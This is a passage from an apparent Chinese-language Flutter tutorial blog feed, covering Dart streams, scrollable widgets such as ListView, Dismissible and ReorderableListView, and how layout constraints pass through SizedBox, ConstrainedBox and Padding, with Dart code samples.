<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>stream: controller.stream.distinct(),
</span></span></code></pre></div><p>上面的代码将会过滤重复的值。</p>
<h4 id="34-async">3.4 async*</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Stream<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> getNumbers() <span style="color:#66d9ef">async</span><span style="color:#f92672">*</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span>(<span style="color:#66d9ef">true</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">yield</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//StreamBuilder使用该流
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>StreamBuilder(
</span></span><span style="display:flex;"><span>	stream: getTime(),
</span></span><span style="display:flex;"><span>  builder: (...) { ... }
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>上面的代码使用<code>async*</code>关键字，每一秒钟会向流中发送一个数字。</p>
<h4 id="35-流中的状态streamtransform">3.5 流中的状态——Stream.transform</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>StreamBuilder{
</span></span><span style="display:flex;"><span>  stream: _controller.stream.transform(TallyTransformer()),
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//....
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//定义自己的TallyTransformer
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">TallyTransformer</span> <span style="color:#66d9ef">implements</span> StreamTransformer {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> sum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>  StreamController _controller <span style="color:#f92672">=</span> StreamController();
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Stream bind(Stream stream){
</span></span><span style="display:flex;"><span>    stream.listen((event) {		<span style="color:#75715e">//我们听源头的这个stream
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      sum <span style="color:#f92672">+=</span> event;
</span></span><span style="display:flex;"><span>      _controller.add(sum);
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> _controller.stream;	<span style="color:#75715e">//他人听的是这个新的stream
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  StreamTransformer<span style="color:#f92672">&lt;</span>RS, RT<span style="color:#f92672">&gt;</span> cast<span style="color:#f92672">&lt;</span>RS, RT<span style="color:#f92672">&gt;</span>() <span style="color:#f92672">=&gt;</span> 
</span></span><span style="display:flex;"><span>    StreamTransformer.castFrom(<span style="color:#66d9ef">this</span>);	<span style="color:#75715e">//类型转换
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter Scrollable教程</title>
      <link>https://weibo.io/2021/11/flutter-scrollable/</link>
      <pubDate>Mon, 08 Nov 2021 20:53:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-scrollable/</guid>
      <description>一、基本Scrollable 1.1 Recycle ​	类似RecyclerView，ListView会回收划出屏幕的控件，同时也会预先加载下面的几条。Flutter的回收可以使其被重复利用，也就是Recycle。缓冲区大小不是根据个数而是根据屏幕高度，大约是1/3屏幕，上下都有，可以用cacheExtent调整缓冲区高度。
1.2 分割线 ​	可以用奇偶数来做Divider()，但这不是一个很好的方法：index会偏移。可以使用ListView.seprated来做分割线。
1.3 滚动条跳转（固定高度） ​	指定Scrollbar()可以实现滚动条效果，但如果不添加itemCount属性，则列表无限长，即使滚动，滚动条也不会有反应；如果不指定itemExtent（这是一个主轴方向的紧约束），首先大幅跳转时会损失性能，其次滚动条可能会抖动。
1.4 Padding 在itemBuilder内加Padding，在视觉上会有padding，但在空白处可以滑动滚动； 在ListView.builder外加Padding，在视觉上有padding，空白处不可滑动； 设置ListView.builder内的padding属性，会在整个ListView上下留白，而不是元素间的空隙。可以用EdgeInsets.only(bottom: 200)来解决底部项目被FAB挡住的问题。 1.5 空白时显示其他控件 body: false ? Text(&amp;#34;加载中&amp;#34;) : ListView.builder 1.6 ScrollController 在ListView.builder中设置controller: _controller。例如，设置按下AppBar自动跳到顶部，可以使用以下代码：
AppBar( title: GestureDetector( onTap: () { //_controller.jumpTo(0.0); _controller.animatedTo(-20.0, duration: ,curve: ); //传入负值，出现到顶上再弹回的效果 }	//跳转 ) ) 有多个ListView时，也应设置对应的controller。
1.7 physics属性 ListView.builder的physics属性可以用来设置安卓或iOS风格的到顶回弹。例如physics: BouncingScrollPhysics()就是iOS风格的顶部回弹。
二、滑动事件 2.1 Scrollbar ​	使用iOS风格的Scrollbar可以使用CupertinoScrollbar()。同时设置isAlwaysShown和controller属性可以一直显示scrollbar。
2.2 RefreshIndicator下拉刷新 可以设置color和backgroundColor等属性设置下拉刷新指示器的样式。RefreshIndicator和Scrollbar可以互相嵌套，不要求顺序。
2.3 拦截滚动事件 使用NotificationListener，在onNotication返回true拦截事件。
2.4 Dismissible ​	在itemBuilder内返回一个Dismissible()，这里的key属性是必传的，例如UniqueKey()，设置onDismissed可以查看滑动方向并设置滑动后的操作，例如从列表中删除。
​	在Dismissible()中有background或secondaryBackground可以传入一个widget，分别对应左划右划的效果。
​	设置confirmDismiss为一个async函数，返回false表明滑动后不删除。</description>
      <content:encoded><![CDATA[<h2 id="一基本scrollable">一、基本Scrollable</h2>
<h4 id="11-recycle">1.1 Recycle</h4>
<p>​		类似RecyclerView，ListView会回收划出屏幕的控件，同时也会预先加载下面的几条。Flutter的回收可以使其被重复利用，也就是<code>Recycle</code>。缓冲区大小不是根据个数而是根据屏幕高度，大约是1/3屏幕，上下都有，可以用<code>cacheExtent</code>调整缓冲区高度。</p>
<h4 id="12-分割线">1.2 分割线</h4>
<p>​		可以用奇偶数来做<code>Divider()</code>，但这不是一个很好的方法：index会偏移。可以使用<code>ListView.seprated</code>来做分割线。</p>
<h4 id="13-滚动条跳转固定高度">1.3 滚动条跳转（固定高度）</h4>
<p>​		指定<code>Scrollbar()</code>可以实现滚动条效果，但如果不添加itemCount属性，则列表无限长，即使滚动，滚动条也不会有反应；如果不指定<code>itemExtent</code>（这是一个<strong>主轴方向</strong>的紧约束），首先大幅跳转时会损失性能，其次滚动条可能会抖动。</p>
<h4 id="14-padding">1.4 Padding</h4>
<ol>
<li>在<code>itemBuilder</code>内加<code>Padding</code>，在视觉上会有padding，但在空白处可以滑动滚动；</li>
<li>在<code>ListView.builder</code>外加<code>Padding</code>，在视觉上有padding，空白处不可滑动；</li>
<li>设置<code>ListView.builder</code>内的padding属性，会在整个<code>ListView</code>上下留白，而不是元素间的空隙。可以用<code>EdgeInsets.only(bottom: 200)</code>来解决底部项目被FAB挡住的问题。</li>
</ol>
<h4 id="15-空白时显示其他控件">1.5 空白时显示其他控件</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>body: <span style="color:#66d9ef">false</span> <span style="color:#f92672">?</span> Text(<span style="color:#e6db74">&#34;加载中&#34;</span>) <span style="color:#f92672">:</span> ListView.builder
</span></span></code></pre></div><h4 id="16-scrollcontroller">1.6 ScrollController</h4>
<p>在<code>ListView.builder</code>中设置<code>controller: _controller</code>。例如，设置按下AppBar自动跳到顶部，可以使用以下代码：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>AppBar(
</span></span><span style="display:flex;"><span>	title: GestureDetector(
</span></span><span style="display:flex;"><span>  	onTap: () {
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//_controller.jumpTo(0.0);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      _controller.animatedTo(<span style="color:#f92672">-</span><span style="color:#ae81ff">20.0</span>, duration: ,curve: );
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//传入负值，出现到顶上再弹回的效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }	<span style="color:#75715e">//跳转
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  )
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>有多个ListView时，也应设置对应的controller。</p>
<h4 id="17-physics属性">1.7 physics属性</h4>
<p>ListView.builder的physics属性可以用来设置安卓或iOS风格的到顶回弹。例如<code>physics: BouncingScrollPhysics()</code>就是iOS风格的顶部回弹。</p>
<h2 id="二滑动事件">二、滑动事件</h2>
<h4 id="21-scrollbar">2.1 Scrollbar</h4>
<p>​		使用iOS风格的<code>Scrollbar</code>可以使用<code>CupertinoScrollbar()</code>。同时设置<code>isAlwaysShown</code>和<code>controller</code>属性可以一直显示scrollbar。</p>
<h4 id="22-refreshindicator下拉刷新">2.2 RefreshIndicator下拉刷新</h4>
<p>可以设置<code>color</code>和<code>backgroundColor</code>等属性设置下拉刷新指示器的样式。<code>RefreshIndicator</code>和<code>Scrollbar</code>可以互相嵌套，不要求顺序。</p>
<h4 id="23-拦截滚动事件">2.3 拦截滚动事件</h4>
<p>使用<code>NotificationListener</code>，在<code>onNotication</code>返回<code>true</code>拦截事件。</p>
<h4 id="24-dismissible">2.4 Dismissible</h4>
<p>​		在itemBuilder内返回一个<code>Dismissible()</code>，这里的<code>key</code>属性是必传的，例如<code>UniqueKey()</code>，设置onDismissed可以查看滑动方向并设置滑动后的操作，例如从列表中删除。</p>
<p>​		在<code>Dismissible()</code>中有<code>background</code>或<code>secondaryBackground</code>可以传入一个<code>widget</code>，分别对应左划右划的效果。</p>
<p>​		设置<code>confirmDismiss</code>为一个<code>async</code>函数，返回<code>false</code>表明滑动后不删除。</p>
<p>​		设置<code>onResize</code>属性可以在该项消失、屏幕开始变化时不停地调用；<code>movementDuration</code>可以设置滑动的时常，movement后就onResize；<code>dismissThreshold</code>设置滑动多少后消除；<code>direction</code>可以设置滑动方向。</p>
<h2 id="三其他控件">三、其他控件</h2>
<h4 id="31-3d转轮滚动效果listwheelscrollview">3.1 3D转轮滚动效果——ListWheelScrollView</h4>
<ol>
<li>offAxisFraction：偏移数值</li>
<li>diameterRatio：直径比例</li>
<li>overAndUnderCenterOpacity：设置上下不透明度</li>
<li>magnification：放大倍数</li>
<li>physics：滚动物理效果</li>
<li>onSelectedItemChanged：选择的内容变化</li>
<li>使用<code>RotatedBox</code>来进行横向滚动</li>
</ol>
<h4 id="32-滚动页面pageview">3.2 滚动页面——PageView</h4>
<ol>
<li>pageSnapping：划到中间可以停住</li>
<li>scrollDirection：设置滚动方向</li>
<li>onPageChanged</li>
</ol>
<h4 id="33-reorderablelistview">3.3 ReorderableListView</h4>
<ol>
<li>
<p>children：List.generate(&hellip;)</p>
</li>
<li>
<p>onReorder: (int oldIndex,int newIndex)：移动后的新位置和旧位置</p>
<ol>
<li>
<p>这里有一个小坑，应该这样写：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>onReorder: (<span style="color:#66d9ef">int</span> oldIndex,<span style="color:#66d9ef">int</span> newIndex){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span>(newIndex <span style="color:#f92672">&gt;</span> oldIndex) newIndex<span style="color:#f92672">--</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//...继续写其他的业务逻辑
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div></li>
</ol>
</li>
<li>
<p>在每个ListItem中必须设置单独的key，否则会报错，因为它的排序属性。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>ReorderableListView(
</span></span><span style="display:flex;"><span>	children: List.generate(
</span></span><span style="display:flex;"><span>  	<span style="color:#ae81ff">20</span>,
</span></span><span style="display:flex;"><span>    (index) <span style="color:#f92672">=&gt;</span> Text(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$</span>index<span style="color:#e6db74">&#34;</span>,key: UniqueKey()),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  )
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div></li>
</ol>
<h4 id="34-singlechildscrollview">3.4 SingleChildScrollView</h4>
<p>这个组件一般不推荐用，除非是一般不需要滑动的组件，在屏幕不够大、显示不下的情况下偶尔滑动。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter 布局全解</title>
      <link>https://weibo.io/2021/11/flutter-layout/</link>
      <pubDate>Wed, 03 Nov 2021 16:15:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-layout/</guid>
      <description>一、初识布局 1.1 约束（Terminology）的向下传递 ​	Flutter从一个runApp函数开始运行，例如：
void main() { runApp(//1.向下Container传递紧约束：屏幕尺寸 Container(//2.向下Center传递约束，由于自身的w和h无效，因此原封不动地传递 width: 0.04,//1.来自App的约束使width失效，w=页面宽度 height: 0.08,//1.来自App的约束使height失效，h=页面高度 color: Colors.red[200], child: Center(//3.向下Container传递松约束，下限设为0 child: Container(//4.向下FlutterLogo传递紧约束：200&amp;lt;=h,w&amp;lt;=200 color: Colors.white, width: 200,//3.满足Center的约束，w=200 height: 200,//3.满足Center的约束，h=200 child: FlutterLogo( size: 10//不满足约束条件，失效，size=200 ), ), ) )); } 上面这段代码的运行结果如下图：
​	通过读取LayoutBuilder的constrants参数，我们可以得到来自父组件的约束区间：
LayoutBuilder(builder: (context, constrants) { print(&amp;#34;constrants: $constrants&amp;#34;); return FlutterLogo(size: 10); }), ​	我们可以通过Align系列控件来放松约束，例如使用Center。
1.2 SizedBox和FractionallySizedBox ​	我们可以使用SizedBox和FractionallySizedBox来确定组件的大小，其中后者使用一个比例关系来约束。
​	但如果SizedBox本身受到一个紧约束，那么它也无法突破。
​	目前我们只能使用Align系列Widgets（比如Center）来将紧约束转换为松约束，例如将200&amp;lt;=h,w&amp;lt;=200转化为0&amp;lt;=h,w&amp;lt;=200。
Container( //向下SizedBox传递紧约束：200&amp;lt;=h,w&amp;lt;=200 width: 200, height: 200, child: SizedBox( //收到Container的紧约束 height: 100,//失效 width: 100,//失效 child: FlutterLogo(size: 10), //不满足约束条件，失效，size=200 ) 1.</description>
      <content:encoded><![CDATA[<h3 id="一初识布局">一、初识布局</h3>
<h4 id="11-约束terminology的向下传递">1.1 约束（Terminology）的向下传递</h4>
<p>​		Flutter从一个runApp函数开始运行，例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() {
</span></span><span style="display:flex;"><span>  runApp(<span style="color:#75715e">//1.向下Container传递紧约束：屏幕尺寸
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Container(<span style="color:#75715e">//2.向下Center传递约束，由于自身的w和h无效，因此原封不动地传递
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      width: <span style="color:#ae81ff">0.04</span>,<span style="color:#75715e">//1.来自App的约束使width失效，w=页面宽度
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      height: <span style="color:#ae81ff">0.08</span>,<span style="color:#75715e">//1.来自App的约束使height失效，h=页面高度
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      color: Colors.red[<span style="color:#ae81ff">200</span>],
</span></span><span style="display:flex;"><span>      child: Center(<span style="color:#75715e">//3.向下Container传递松约束，下限设为0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        child: Container(<span style="color:#75715e">//4.向下FlutterLogo传递紧约束：200&lt;=h,w&lt;=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          color: Colors.white,
</span></span><span style="display:flex;"><span>          width: <span style="color:#ae81ff">200</span>,<span style="color:#75715e">//3.满足Center的约束，w=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          height: <span style="color:#ae81ff">200</span>,<span style="color:#75715e">//3.满足Center的约束，h=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          child: FlutterLogo(
</span></span><span style="display:flex;"><span>            size: <span style="color:#ae81ff">10</span><span style="color:#75715e">//不满足约束条件，失效，size=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          ),
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      )
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>上面这段代码的运行结果如下图：</p>
<img src="https://i.loli.net/2021/11/03/pEhd8VH92mYLa6B.png" alt="截屏2021-11-03 上午10.33.40" style="zoom:25%;" />
<p>​		通过读取<code>LayoutBuilder</code>的constrants参数，我们可以得到来自父组件的约束区间：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>LayoutBuilder(builder: (context, constrants) {
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;constrants: </span><span style="color:#e6db74">$</span>constrants<span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> FlutterLogo(size: <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span>}),
</span></span></code></pre></div><p>​		我们可以通过<code>Align</code>系列控件来放松约束，例如使用<code>Center</code>。</p>
<h4 id="12-sizedbox和fractionallysizedbox">1.2 SizedBox和FractionallySizedBox</h4>
<p>​		我们可以使用<code>SizedBox</code>和<code>FractionallySizedBox</code>来确定组件的大小，其中后者使用一个比例关系来约束。</p>
<p>​		但如果<code>SizedBox</code>本身受到一个紧约束，那么它也无法突破。</p>
<p>​		目前我们只能使用<code>Align</code>系列Widgets（比如<code>Center</code>）来将紧约束转换为松约束，例如将<code>200&lt;=h,w&lt;=200</code>转化为<code>0&lt;=h,w&lt;=200</code>。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//向下SizedBox传递紧约束：200&lt;=h,w&lt;=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  child: SizedBox(  <span style="color:#75715e">//收到Container的紧约束
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    height: <span style="color:#ae81ff">100</span>,<span style="color:#75715e">//失效
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    width: <span style="color:#ae81ff">100</span>,<span style="color:#75715e">//失效
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: FlutterLogo(size: <span style="color:#ae81ff">10</span>), <span style="color:#75715e">//不满足约束条件，失效，size=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  )
</span></span></code></pre></div><h4 id="13-constrainedbox">1.3 ConstrainedBox</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container( <span style="color:#75715e">//向下传递紧约束：h,w=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  color: Colors.black,
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">500</span>,
</span></span><span style="display:flex;"><span>  child: Center(<span style="color:#75715e">//向下传递松约束：0&lt;=h,w&lt;=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: ConstrainedBox(<span style="color:#75715e">//重新定义约束区间（同样，收到上级约束的限制）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      constraints: <span style="color:#66d9ef">const</span> BoxConstraints(
</span></span><span style="display:flex;"><span>        minWidth: <span style="color:#ae81ff">60</span>,
</span></span><span style="display:flex;"><span>        maxWidth: <span style="color:#66d9ef">double</span>.infinity,<span style="color:#75715e">//无限大，被上级限制为200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        minHeight: <span style="color:#ae81ff">60</span>,
</span></span><span style="display:flex;"><span>        maxHeight: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      child: LayoutBuilder(builder: (context, constraints) {
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$</span>constraints<span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//flutter: BoxConstraints(60.0&lt;=w&lt;=120.0, 60.0&lt;=h&lt;=120.0)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">const</span> FlutterLogo(size: <span style="color:#ae81ff">150</span>);<span style="color:#75715e">//150被限制回120
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      }),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>​		<code>ConstrainedBox</code>可以重新定义约束区间，但新定义的约束区间必须在父约束之内。我们可以使用<code>loosen()</code>函数取消<code>minWidth</code>和<code>minHeight</code>，也就是将它们设置为0.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container( <span style="color:#75715e">//向下传递紧约束：h,w=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  color: Colors.black,
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">500</span>,
</span></span><span style="display:flex;"><span>  child: Center(<span style="color:#75715e">//向下传递松约束：0&lt;=h,w&lt;=200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: ConstrainedBox(<span style="color:#75715e">//重新定义约束区间（同样，收到上级约束的限制）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      constraints: <span style="color:#66d9ef">const</span> BoxConstraints(
</span></span><span style="display:flex;"><span>        minWidth: <span style="color:#ae81ff">60</span>,
</span></span><span style="display:flex;"><span>        maxWidth: <span style="color:#66d9ef">double</span>.infinity,<span style="color:#75715e">//无限大，被上级限制为200
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        minHeight: <span style="color:#ae81ff">60</span>,
</span></span><span style="display:flex;"><span>        maxHeight: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>      ).loosen(),	<span style="color:#75715e">//变为松约束（下限为0）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      child: LayoutBuilder(builder: (context, constraints) {
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$</span>constraints<span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//flutter: BoxConstraints(0.0&lt;=w&lt;=120.0, 0.0&lt;=h&lt;=120.0)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">const</span> FlutterLogo(size: <span style="color:#ae81ff">150</span>);<span style="color:#75715e">//150被限制回120
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      }),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><ul>
<li>紧约束：最大值等于最小值的约束；</li>
<li>松约束：最小值等于0的约束；</li>
<li>既是松约束，又是紧约束的约束：最大值与最小值都是0的约束。</li>
</ul>
<p>同时，</p>
<ul>
<li>有界约束：有设置最大值的约束；</li>
<li>无界约束：最大值是无限大的约束，例如无限长的ListView。</li>
</ul>
<h4 id="14-padding">1.4 Padding</h4>
<p>Padding组件可以收缩Container的紧约束，但仍向下传递一个紧约束。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.black,
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>  child: Padding(
</span></span><span style="display:flex;"><span>    padding: <span style="color:#66d9ef">const</span> EdgeInsets.all(<span style="color:#ae81ff">20.0</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//上下同时设置20的边框，收缩了Container的紧约束
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: LayoutBuilder(builder: (context, constraints) {
</span></span><span style="display:flex;"><span>      print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$</span>constraints<span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//BoxConstraints(w=260.0, h=260.0)，这里仍然是一个紧约束
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">const</span> FlutterLogo(size: <span style="color:#ae81ff">150</span>);<span style="color:#75715e">//150仍然失效
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><h3 id="二弹性布局column和flexible">二、弹性布局——Column和Flexible</h3>
<h4 id="21-column和directionality">2.1 Column和Directionality</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Scaffold(
</span></span><span style="display:flex;"><span>  body: Center(
</span></span><span style="display:flex;"><span>    child: Container(
</span></span><span style="display:flex;"><span>      color: Colors.red[<span style="color:#ae81ff">200</span>],
</span></span><span style="display:flex;"><span>      width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>      child: Column(
</span></span><span style="display:flex;"><span>        mainAxisAlignment: MainAxisAlignment.spaceAround,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//主轴环绕留白
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        crossAxisAlignment: CrossAxisAlignment.start,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//交叉轴：从起始处（一般从左到右）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">//某些语言的阅读顺序是从右向左，可以使用Directionality调整
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        children: <span style="color:#66d9ef">const</span> [
</span></span><span style="display:flex;"><span>          FlutterLogo(size:<span style="color:#ae81ff">150</span>),
</span></span><span style="display:flex;"><span>          FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>          FlutterLogo(size: <span style="color:#ae81ff">150</span>),
</span></span><span style="display:flex;"><span>        ],)),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/Gh1aBpITdjw5lvA.png" alt="截屏2021-11-03 上午11.34.26" style="zoom:25%;" />
<p>Column还有一些其他属性，如<code>mainAxisSize</code>和<code>CrossAxisAlignment.stretch</code>：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Scaffold(
</span></span><span style="display:flex;"><span>  body: Center(
</span></span><span style="display:flex;"><span>    child: Container(
</span></span><span style="display:flex;"><span>      color: Colors.red[<span style="color:#ae81ff">200</span>],
</span></span><span style="display:flex;"><span>      child: Column(
</span></span><span style="display:flex;"><span>        mainAxisSize: MainAxisSize.min,<span style="color:#75715e">//设置主轴方向的长度，默认max
